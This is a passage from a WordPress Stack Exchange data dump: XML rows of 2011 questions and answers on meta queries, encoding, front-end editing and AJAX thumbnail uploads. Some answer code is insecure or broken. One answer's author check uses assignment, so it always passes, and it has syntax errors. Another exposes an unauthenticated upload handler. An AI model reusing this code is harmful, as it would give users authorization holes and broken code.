array(&#xA;        'key' =&amp;gt; 'event_date',&#xA;        'value' =&amp;gt; $date,&#xA;        'type' =&amp;gt; 'DATE',&#xA;        'compare' =&amp;gt; '&amp;gt;='&#xA;      )&#xA;  )&#xA;);&#xA;&#xA;$events = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;@scribu, this is the SQL produced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SQL_CALC_FOUND_ROWS  wp_posts.*&#xA;  FROM        wp_posts&#xA;  INNER JOIN  wp_term_relationships&#xA;              ON (wp_posts.ID = wp_term_relationships.object_id)&#xA;  INNER JOIN  wp_term_relationships AS tt1&#xA;              ON (wp_posts.ID = tt1.object_id)&#xA;  INNER JOIN  wp_postmeta&#xA;              ON (wp_posts.ID = wp_postmeta.post_id)&#xA;  WHERE       1=1&#xA;  AND         ( wp_term_relationships.term_taxonomy_id IN (517)&#xA;  AND         tt1.term_taxonomy_id IN (24) )&#xA;  AND         wp_posts.post_type = 'event'&#xA;  AND         (wp_posts.post_status = 'publish')&#xA;  AND         wp_postmeta.meta_key = 'event_date'&#xA;  AND         CAST(wp_postmeta.meta_value AS DATE) &amp;gt;= '2011-03-07'&#xA;  GROUP BY    wp_posts.ID&#xA;  ORDER BY    wp_posts.post_date DESC&#xA;  LIMIT       0, 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3736" LastEditorUserId="3736" LastEditorDisplayName="" LastEditDate="2011-03-07T21:15:50.897" LastActivityDate="2011-03-07T21:15:50.897" Title="Can you do a date comparison on a custom field and query two or more custom taxonomies using WP_Query?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;custom-field&gt;" CommentCount="7" />
  <row Id="11391" PostTypeId="2" ParentId="11382" CreationDate="2011-03-07T19:56:39.100" Score="3" ViewCount="" Body="&lt;p&gt;To edit is a bit harder then just creating, but not that hard&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first you only display the edit link to the author so you add something like this to your loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;get_currentuserinfo();&#xA;while (have_posts()) : the_post();&#xA;  //regular loop stuff&#xA;&#xA;  //and check if the post author is the current user&#xA;  if ($post-&amp;gt;post_author = $current_user-&amp;gt;ID){&#xA;    ehco '&amp;lt;a href=&quot;Editpage?qpost_id='.$post-&amp;gt;ID.'&quot;&amp;gt;Edit&amp;lt;/a&amp;gt;';&#xA;}&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now if you look at that link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ehco '&amp;lt;a href=&quot;Editpage?qpost_id='.$post-&amp;gt;ID.'&quot;&amp;gt;Edit&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you will see that it is looking for a specific page, so create a new page, call it what ever you want and update it in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now create a new template page &#xA;can be an exact copy of your page.php and take out the loop part.&#xA;instead enter this code to display the edit form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (isset($_GET['qpost_id'])){&#xA;    //check user again&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;    $Qpost = get_post($_GET['qpost_id']);&#xA;    if ($current_user-&amp;gt;ID = $Qpost-&amp;gt;post_author){&#xA;        $html = '&amp;lt;h1&amp;gt;Edit - '. $Qpost-&amp;gt;post_title .'&amp;lt;h1&amp;gt;&amp;lt;form name=&quot;edit_q&quot; id=&quot;edit_q&quot; method=&quot;POST&quot; action=&quot;&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;question-title-box&quot; value=&quot;' . $Qpost-&amp;gt;post_title; . '&quot; id=&quot;question-title-box&quot; name=&quot;title&quot; onfocus=&quot;if(this.value == \'' . __(&quot;Enter Question Title&quot;,'qna-forum') . '\'){this.value = \'\';}&quot; onblur=&quot;if(this.value == \'\'){this.value = \'' . __(&quot;Enter Question Title&quot;,'qna-forum') . '\';}&quot; /&amp;gt;&#xA;            &amp;lt;textarea class=&quot;question-box&quot; cols=&quot;70&quot; rows=&quot;20&quot; id=&quot;question-box&quot; name=&quot;question&quot; onfocus=&quot;if(this.value == \'' . __(&quot;Enter Your Question Here&quot;,'qna-forum') . '\'){this.value = \'\';}&quot; onblur=&quot;if(this.value == \'\'){this.value = \'' .__(&quot;Enter Your Question Here&quot;,'qna-forum') . '\';}&quot;&amp;gt;' . $Qpost-&amp;gt;post_content . '&amp;lt;/textarea&amp;gt;';&#xA;        $html  .= &quot;&amp;lt;div class='question-form-bottom'&amp;gt;&quot;.__('Category','qna-forum').&quot;:&amp;lt;select name='category' id='category'&amp;gt;&quot;;&#xA;        $categories = get_categories(array(&#xA;                                        'type' =&amp;gt; 'post',&#xA;                                        'orderby' =&amp;gt; 'count',&#xA;                                        'order'=&amp;gt; 'DESC',&#xA;                                        'hide_empty'=&amp;gt;0&#xA;                                    ));&#xA;        foreach($categories as $cat){&#xA;            if(get_option('q_cat_' . $cat-&amp;gt;term_id) == &quot;TRUE&quot;){&#xA;                $html .= '&amp;lt;option value=&quot;' . $cat-&amp;gt;term_id . '&quot;&amp;gt;' . $cat-&amp;gt;cat_name . '&amp;lt;/option&amp;gt;';&#xA;            }&#xA;        }&#xA;        $html .= &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;        $html .= &quot;&amp;lt;input type='hidden' value='&quot; . wp_create_nonce( 'edit_q_question_form' ) . &quot;' name='nonce' /&amp;gt;&quot;;&#xA;        $html .=&quot;&amp;lt;input type='hidden' name='action' value='edit_q_ask_question' /&amp;gt;&quot;;&#xA;        $html .=&quot;&amp;lt;input type='hidden' name='q_to_update' value='&quot;.$qpost-&amp;gt;ID.&quot;' /&amp;gt;&quot;;&#xA;        $html .=&quot;&amp;lt;input type='submit' name='submit' value='submit' /&amp;gt;&amp;lt;/form&amp;gt;&quot;;&#xA;        echo $html;&#xA;    }&#xA;}&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see most of it is taken from the plugin, i just edited it a bit to fit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;next you need to update the post and to do so you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_post&quot; rel=&quot;nofollow&quot;&gt;wp_update_post()&lt;/a&gt;&#xA;so add this code just above the code you've just added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;edit_q_ask_question&quot;) {&#xA;// Do some minor form validation and make sure there is content&#xA;    $nonce=$_REQUEST['nonce'];&#xA;    if (! wp_verify_nonce($nonce, 'edit_q_question_form') ) die('Security check'); &#xA;    if (isset ($_POST['title'])) {&#xA;        $title =  $_POST['title'];&#xA;    } else {&#xA;        echo 'Please enter a  title';&#xA;    }&#xA;    if (isset ($_POST['question'])) {&#xA;        $question = $_POST['question'];&#xA;    } else {&#xA;        echo 'Please enter some content';&#xA;    }&#xA;    $new_question = array(&#xA;        'post_title'    =&amp;gt; $title,&#xA;        'post_content'  =&amp;gt; $question,&#xA;        'post_category' =&amp;gt; array($_POST['category'])&#xA;        'ID' =&amp;gt; $_POST['q_to_update'];&#xA;        );&#xA;&#xA;    // Update the post into the database&#xA;    $new_id = wp_update_post( $new_question );&#xA;    echo 'Qestion updated and you can see it &amp;lt;a href=&quot;'.get_permalink($new_id).'&quot;&amp;gt;here&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would probably add some Security check and &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;data validation&lt;/a&gt; its not perfect but its a very nice start.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-07T19:56:39.100" CommentCount="1" />
  <row Id="11392" PostTypeId="1" CreationDate="2011-03-07T19:56:45.003" Score="0" ViewCount="107" Body="&lt;p&gt;I have a site that is in English but has a lot of German and Spanish names in it. Originally I was using UTF8, but that gave me problems with some of the German special characters. So I switched to: ISO 8859, but then the german characters were fixed but it broke all the Spanish ones. I changed to ISO 8859 in the wp-config file, but it seems like phpmyadmin doesn't even give me the option to choose ISO 8859.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be tolerable but after fixing all the accents using special characters, if you later change anything on the page all the accents break again and you have to insert all the special characters again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!!! &lt;/p&gt;&#xA;" OwnerUserId="3498" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:20:26.910" LastActivityDate="2011-08-07T13:20:32.353" Title="Problems character encoding for pages in multiple languages" Tags="&lt;multi-language&gt;&lt;encoding&gt;" AnswerCount="3" />
  <row Id="11393" PostTypeId="2" ParentId="11392" CreationDate="2011-03-07T20:19:38.610" Score="0" ViewCount="" Body="&lt;p&gt;Yetti, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pls look at my answer for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11358/word-press-replacing-unicode-characters-with-s&quot;&gt;Word press replacing unicode characters with &quot;?&quot;s&lt;/a&gt;. Amongst others you could take look at the mentioned article &lt;a href=&quot;http://codex.wordpress.org/Converting_Database_Character_Sets&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Converting_Database_Character_Sets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should really stick to UTF8 unless there's a very good reason not to do so.&#xA;If code and db are all in sync using utf-8, you shouldnt have any problems with German nor Spanish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know if this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,Peter&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2011-03-07T20:19:38.610" CommentCount="3" />
  <row Id="11394" PostTypeId="2" ParentId="11392" CreationDate="2011-03-07T20:20:31.503" Score="0" ViewCount="" Body="&lt;p&gt;You have to make sure that your code editor is saving the file in UTF-8. most likely it's saving in something like ASCII. Once you've changed the char-set of your editor, copy and paste the code from one file to another and resave.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-03-07T20:20:31.503" CommentCount="2" />
  <row Id="11395" PostTypeId="1" AcceptedAnswerId="11400" CreationDate="2011-03-07T20:33:26.597" Score="2" ViewCount="763" Body="&lt;p&gt;We would like users to be able to upload the post thumbnail when editing posts. How would this be done. I would imagine it would make use of the ajax functions of wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-07T21:26:34.167" LastActivityDate="2011-03-13T13:35:24.583" Title="Upload post thumbnail from the front end" Tags="&lt;uploads&gt;&lt;post-thumbnails&gt;&lt;ajax&gt;&lt;front-end&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="11396" PostTypeId="1" AcceptedAnswerId="11406" CreationDate="2011-03-07T20:34:48.717" Score="0" ViewCount="149" Body="&lt;p&gt;&lt;strong&gt;problem:&lt;/strong&gt;&#xA;Only some blogs did not show the dashboard (but did show all other admin pages). I have left this problem for some time (months) since Googling did not bring up anything relevant and I was too lazy to investigate (and could work around it by logging in, getting a 500 error and then press back and click comments). In my mind were .htaccess changes it did, plugins that drop bad rss feeds etc...but... it was core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So today I went commenting out all passages in dashboard.php and unfortunately it was Murphy since the problem was with the bottom line...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'activity_box_end', 'wp_dashboard_quota' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In which I commented the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$used = get_dirsize( BLOGUPLOADDIR ) / 1024 / 1024;&#xA;    // returns: 1418.9275159836&#xA;$used=0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereafter my dashboard was so speedy that I got tears in my eyes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm logging this here since I hope people searching for the problem now will shortcut time and recognize the reason. Especially with the combo: 500 and admin dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt; &lt;strong&gt;Question:&lt;/strong&gt; I &lt;strong&gt;assume&lt;/strong&gt; that the bigger the uploaddir gets, the slower dasboards will load for blogs. I also assume that this happens for every blog out there since this is a line in core. &lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt; Am I correct and could I log this as issue or am i stupid - missing something essential that does not cause this to be problem for every multisite blog with large quota after some time? &lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;Now I connected 500 and getdirsize I found &lt;a href=&quot;http://trac.mu.wordpress.org/ticket/1175&quot; rel=&quot;nofollow&quot;&gt;http://trac.mu.wordpress.org/ticket/1175&lt;/a&gt; and &lt;a href=&quot;http://trac.mu.wordpress.org/changeset/2027&quot; rel=&quot;nofollow&quot;&gt;http://trac.mu.wordpress.org/changeset/2027&lt;/a&gt; ......&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there a transient check was implemented by james collins. What happened to the transient check? that would resolve this I think.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transient check as implemented in ticket 2027 is still in place (see Rarst answer below) and disabling the quota completely will also shortcut the 500 error since that is what is checked in wp_dashboard_quota. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: if you do not disable the quota it means you will get a 500 error eventually if you have a large quota limit. IMHO that could be improved / ticketed or not?&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-03-07T22:55:30.517" LastActivityDate="2011-03-07T22:55:30.517" Title="How to solve 500 Error on WordPress Admin Dashboard due to time-out on getdirsize" Tags="&lt;admin&gt;&lt;dashboard&gt;&lt;500-internal-error&gt;&lt;quota&gt;" AnswerCount="1" />
  <row Id="11398" PostTypeId="1" CreationDate="2011-03-07T20:53:05.037" Score="0" ViewCount="286" Body="&lt;p&gt;I'm getting a Javascript error on the wp-admin/post.php page&#xA;which prevents me from adding tags/editing the post's link.. pretty much everything with JS... anyway, the error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Error: d.delegate is not a function&#xA;&amp;gt; Source File:&#xA;&amp;gt; http://www.mysite.com/wp-admin/load-scripts.php?c=1&amp;amp;load=hoverIntent,common,jquery-color,schedule,wp-ajax-response,autosave,wp-lists,jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,jquery-ui-resizable,jquery-query,admin-comments,suggest,jquery-ui-sortable,postbox,post,word-count,thickbox,media-upload&amp;amp;ver=c1c854f5d9062306d43d7331055686c9&#xA;&amp;gt; Line: 42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;br&gt;&#xA;Only solution that seemed to work was downgrading the Wordpress website to 3.0.5 &lt;br&gt;&#xA;I'm not sure why is this happening, but after 5 hours of debugging - I don't care&lt;/p&gt;&#xA;" OwnerUserId="3642" LastEditorUserId="3642" LastEditorDisplayName="" LastEditDate="2011-03-22T21:13:41.220" LastActivityDate="2011-07-03T12:28:25.980" Title="js error on post editing page" Tags="&lt;wp-admin&gt;&lt;javascript&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="11399" PostTypeId="1" CreationDate="2011-03-07T21:22:01.793" Score="0" ViewCount="90" Body="&lt;p&gt;I am incorporating featured thumbnails heavily into my design. Right now, I have it set up so that on single pages, the featured thumb is displayed in the large size, aligned center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in some cases, I would want to only use the &quot;medium&quot; version of the thumbnail and align to the left, or include a caption along with it. I've noticed the featured thumbnail will never respect these requests from the Image Manager, so I was wondering if there was a way to not display the featured thumb on single posts, if I've inserted that image into the post somewhere. And vice versa, not display the inserted image on the main page, and instead show the featured thumb?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3783" LastActivityDate="2011-03-07T21:22:01.793" Title="How to not insert a featured thumbnail if it's already included in the post?" Tags="&lt;3.0&gt;&lt;post-thumbnails&gt;" />
  <row Id="11400" PostTypeId="2" ParentId="11395" CreationDate="2011-03-07T21:25:57.960" Score="5" ViewCount="" Body="&lt;p&gt;Uploading files in ajax is a bit tricky because it is not possible to upload files using the browser's XMLHttpRequest object so you need to use some kind of Ajax upload plugin and the easiest one would be the the &lt;a href=&quot;http://jquery.malsup.com/form&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JQuery Form Plugin&lt;/strong&gt;&lt;/a&gt; which makes things much easier and it's included in WordPress. So to use it you need to enqueue it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_print_scripts','include_jquery_form_plugin');&#xA;function include_jquery_form_plugin(){&#xA;    if (is_page('12')){ // only add this on the page that allows the upload&#xA;        wp_enqueue_script( 'jquery' );&#xA;        wp_enqueue_script( 'jquery-form',array('jquery'),false,true ); &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on that page add your upload form and the JQuery to call the JQuery Form plugin for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;thumbnail_upload&quot; method=&quot;post&quot; action=&quot;#&quot; enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;  &amp;lt;input type=&quot;file&quot; name=&quot;thumbnail&quot; id=&quot;thumbnail&quot;&amp;gt;&#xA;  &amp;lt;input type='hidden' value='&amp;lt;?php wp_create_nonce( 'upload_thumb' ); ?&amp;gt;' name='_nonce' /&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;post_id&quot; id=&quot;post_id&quot; value=&quot;POSTID&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; id=&quot;action&quot; value=&quot;my_upload_action&quot;&amp;gt;&#xA;  &amp;lt;input id=&quot;submit-ajax&quot; name=&quot;submit-ajax&quot; type=&quot;submit&quot; value=&quot;upload&quot;&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;div id=&quot;output1&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;$(document).ready(function() { &#xA;    var options = { &#xA;        target:        '#output1',      // target element(s) to be updated with server response &#xA;        beforeSubmit:  showRequest,     // pre-submit callback &#xA;        success:       showResponse,    // post-submit callback &#xA;        url:    ajaxurl                 // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php     &#xA;    }; &#xA;&#xA;    // bind form using 'ajaxForm' &#xA;    $('#thumbnail_upload').ajaxForm(options); &#xA;});&#xA;function showRequest(formData, jqForm, options) {&#xA;//do extra stuff before submit like disable the submit button&#xA;$('#output1').html('Sending...');&#xA;$('#submit-ajax').attr(&quot;disabled&quot;, &quot;disabled&quot;);&#xA;}&#xA;function showResponse(responseText, statusText, xhr, $form)  {&#xA;//do extra stuff after submit&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you must update POSTID with the actual post ID.&#xA;then create the Ajax function to accept the file upload and update the post thumbnail&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//hook the Ajax call&#xA;//for logged-in users&#xA;add_action('wp_ajax_my_upload_action', 'my_ajax_upload');&#xA;//for none logged-in users&#xA;add_action('wp_ajax_nopriv_my_upload_action', 'my_ajax_upload');&#xA;&#xA;function my_ajax_upload(){&#xA;//simple Security check&#xA;    check_ajax_referer('upload_thumb');&#xA;&#xA;//get POST data&#xA;    $post_id = $_POST['post_id'];&#xA;&#xA;//require the needed files&#xA;    require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;    require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/file.php');&#xA;    require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/media.php');&#xA;//then loop over the files that were sent and store them using  media_handle_upload();&#xA;    if ($_FILES) {&#xA;        foreach ($_FILES as $file =&amp;gt; $array) {&#xA;            if ($_FILES[$file]['error'] !== UPLOAD_ERR_OK) {&#xA;                echo &quot;upload error : &quot; . $_FILES[$file]['error'];&#xA;                die();&#xA;            }&#xA;            $attach_id = media_handle_upload( $file, $post_id );&#xA;        }   &#xA;    }&#xA;//and if you want to set that image as Post  then use:&#xA;  update_post_meta($post_id,'_thumbnail_id',$attach_id);&#xA;  echo &quot;uploaded the new Thumbnail&quot;;&#xA;  die();&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-07T21:25:57.960" CommentCount="3" />
  <row Id="11401" PostTypeId="1" AcceptedAnswerId="11484" CreationDate="2011-03-07T21:33:26.193" Score="1" ViewCount="214" Body="&lt;p&gt;I have a network of sites and have recently added another site. When I upload an image it uploads to the correct directory but is showing a broken image link when viewed within the library or on the site. I checked the site's setting and everything looks correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file actually uploads to &#xA;blogs.dir\7\files\2011\03\1551-oct-cable.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;broken image link location e.x.&#xA;&lt;a href=&quot;http://apollo.site.net/mainsite/kb/files/2011/03/1551-oct-cable.png&quot; rel=&quot;nofollow&quot;&gt;http://apollo.site.net/mainsite/kb/files/2011/03/1551-oct-cable.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really have no idea where to go on this one.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-03-07T22:30:10.460" LastActivityDate="2011-05-08T02:44:12.957" Title="Uploaded images not displaying in network site" Tags="&lt;images&gt;&lt;uploads&gt;&lt;media-library&gt;&lt;network&gt;" AnswerCount="1" />
  <row Id="11402" PostTypeId="1" CreationDate="2011-03-07T21:39:03.487" Score="2" ViewCount="79" Body="&lt;p&gt;So, on most of my sites I tend to create one admin user for myself, and one or more other users for the client. Inevitably I always want to simplify the interface for the client user/s, and I've found myself using a number of clients to achieve this. I'm wondering whether there is a cleaner, faster and maybe easily reusable way to do this, instead of going through the same process of installing plugins and configuring them each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common plugin mix I use is:&#xA;Adminimize (to remove meta boxes and fine tune some admin elements like disabling screen options)&#xA;Admin Menu Editor (to hide menu items and create new items)&#xA;Hide Admin Panels (to hide menu items per user or role)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of Hide Admin Panels I can also use Members which gives me the same result, although it is a different plugin altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question is whether I could simplify things a bit ahd still have the same kind of control over what different users see in WP-Admin.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3334" LastActivityDate="2011-03-07T23:17:37.337" Title="Is there a neater way to do this?" Tags="&lt;plugins&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="11403" PostTypeId="1" AcceptedAnswerId="11413" CreationDate="2011-03-07T21:52:01.273" Score="1" ViewCount="348" Body="&lt;p&gt;I am trying to get an array of site users sorted by a custom meta value (an int).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can query the users just fine and get them back to use in a foreach. I currently have the query results come back sorted already by display_name from the users table. I want it to sort by the custom usermeta value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to modify this query to get this done?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_all_top_members() {&#xA;    global $wpdb;&#xA;   $gather_users = &quot;SELECT * FROM &quot;.$wpdb-&amp;gt;prefix.&quot;users ORDER BY display_name ASC&quot;;&#xA;$all_users = $wpdb-&amp;gt;get_results($gather_users);&#xA;return $all_users;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3776" LastEditorUserId="3776" LastEditorDisplayName="" LastEditDate="2011-03-07T22:02:01.980" LastActivityDate="2011-03-07T23:34:33.913" Title="mysql query two database tables, users and usermeta and sort by custom meta int value" Tags="&lt;users&gt;&lt;query&gt;&lt;wpdb&gt;&lt;usermeta&gt;&lt;foreach&gt;" AnswerCount="2" />
  <row Id="11404" PostTypeId="2" ParentId="11402" CreationDate="2011-03-07T21:59:10.697" Score="1" ViewCount="" Body="&lt;p&gt;A &quot;neater&quot; way would be to create your own custom plug-in that bundles all of these features together.  You could hard-code your initial configuration, then just drop it in whenever you create a new site.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-07T21:59:10.697" />
  <row Id="11405" PostTypeId="2" ParentId="11402" CreationDate="2011-03-07T22:17:33.200" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7029/the-great-wordpress-admin-menu-challenge-of-jan-2011-a-k-a-how-to-resolve-some&quot;&gt;this thread from Mike&lt;/a&gt; and the according &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16048&quot; rel=&quot;nofollow&quot;&gt;trac ticket&lt;/a&gt;. I would suggest to just use Mikes Class instead of various Plugins. Franks Plugin Adminimize is great, but has the drawback that it uses css to set items to &lt;code&gt;display: none;&lt;/code&gt;. Mikes Class completely unsets the items.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-07T22:17:33.200" />
  <row Id="11406" PostTypeId="2" ParentId="11396" CreationDate="2011-03-07T22:29:29.600" Score="2" ViewCount="" Body="&lt;p&gt;The transient is in place just fine, see &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/ms-functions.php#L1485&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_dir_size()&lt;/code&gt; source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you have enough files for this to cause major performance issues you are probably better disabling upload limit or it might mess up other related functionality like uploads.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-07T22:29:29.600" CommentCount="3" />
  <row Id="11407" PostTypeId="2" ParentId="11403" CreationDate="2011-03-07T22:59:51.523" Score="1" ViewCount="" Body="&lt;p&gt;try :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$gather_users = $wpdb-&amp;gt;get_col(&quot;SELECT user_id FROM $wpdb-&amp;gt;usermeta WHERE $wpdb-&amp;gt;usermeta.meta_key = 'META_KEY_HERE' ORDER BY $wpdb-&amp;gt;usermeta.meta_value ASC&quot;);&#xA;$all_users = $wpdb-&amp;gt;get_results($gather_users);&#xA;return $all_users;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change META_KEY_HERE to your meta key&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-07T22:59:51.523" CommentCount="3" />
  <row Id="11408" PostTypeId="2" ParentId="11173" CreationDate="2011-03-07T23:08:09.503" Score="1" ViewCount="" Body="&lt;p&gt;I wound up going with the following.  I setup a event-momth field and comparing from there. thanks for the help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;        $event_query = new WP_Query(&#xA;        array( &#xA;          'post_type'   =&amp;gt; 'event',        // only query events&#xA;          'meta_key'    =&amp;gt; 'event-month',  // load up the event_date meta&#xA;          'order_by'        =&amp;gt; 'event_date',&#xA;          'order'       =&amp;gt; 'asc',         // ascending, so earlier events first&#xA;          'meta_query'  =&amp;gt; array(&#xA;             array(         // restrict posts based on meta values&#xA;              'key'     =&amp;gt; 'event-month',  // which meta to query&#xA;              'value'   =&amp;gt; date(&quot;n&quot;),  // value for comparison&#xA;              'compare' =&amp;gt; '=',          // method of comparison&#xA;              'type'    =&amp;gt; 'NUMERIC'         // datatype, we don't want to compare the string values&#xA;            ) // meta_query is an array of query ites&#xA;           ) // end meta_query array&#xA;          ) // end array&#xA;        ); // close WP_Query constructor call&#xA;&#xA; ?&amp;gt;&#xA;   &amp;lt;?php while($event_query-&amp;gt;have_posts()): $event_query-&amp;gt;the_post(); //loop for events ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2755" LastActivityDate="2011-03-07T23:08:09.503" />
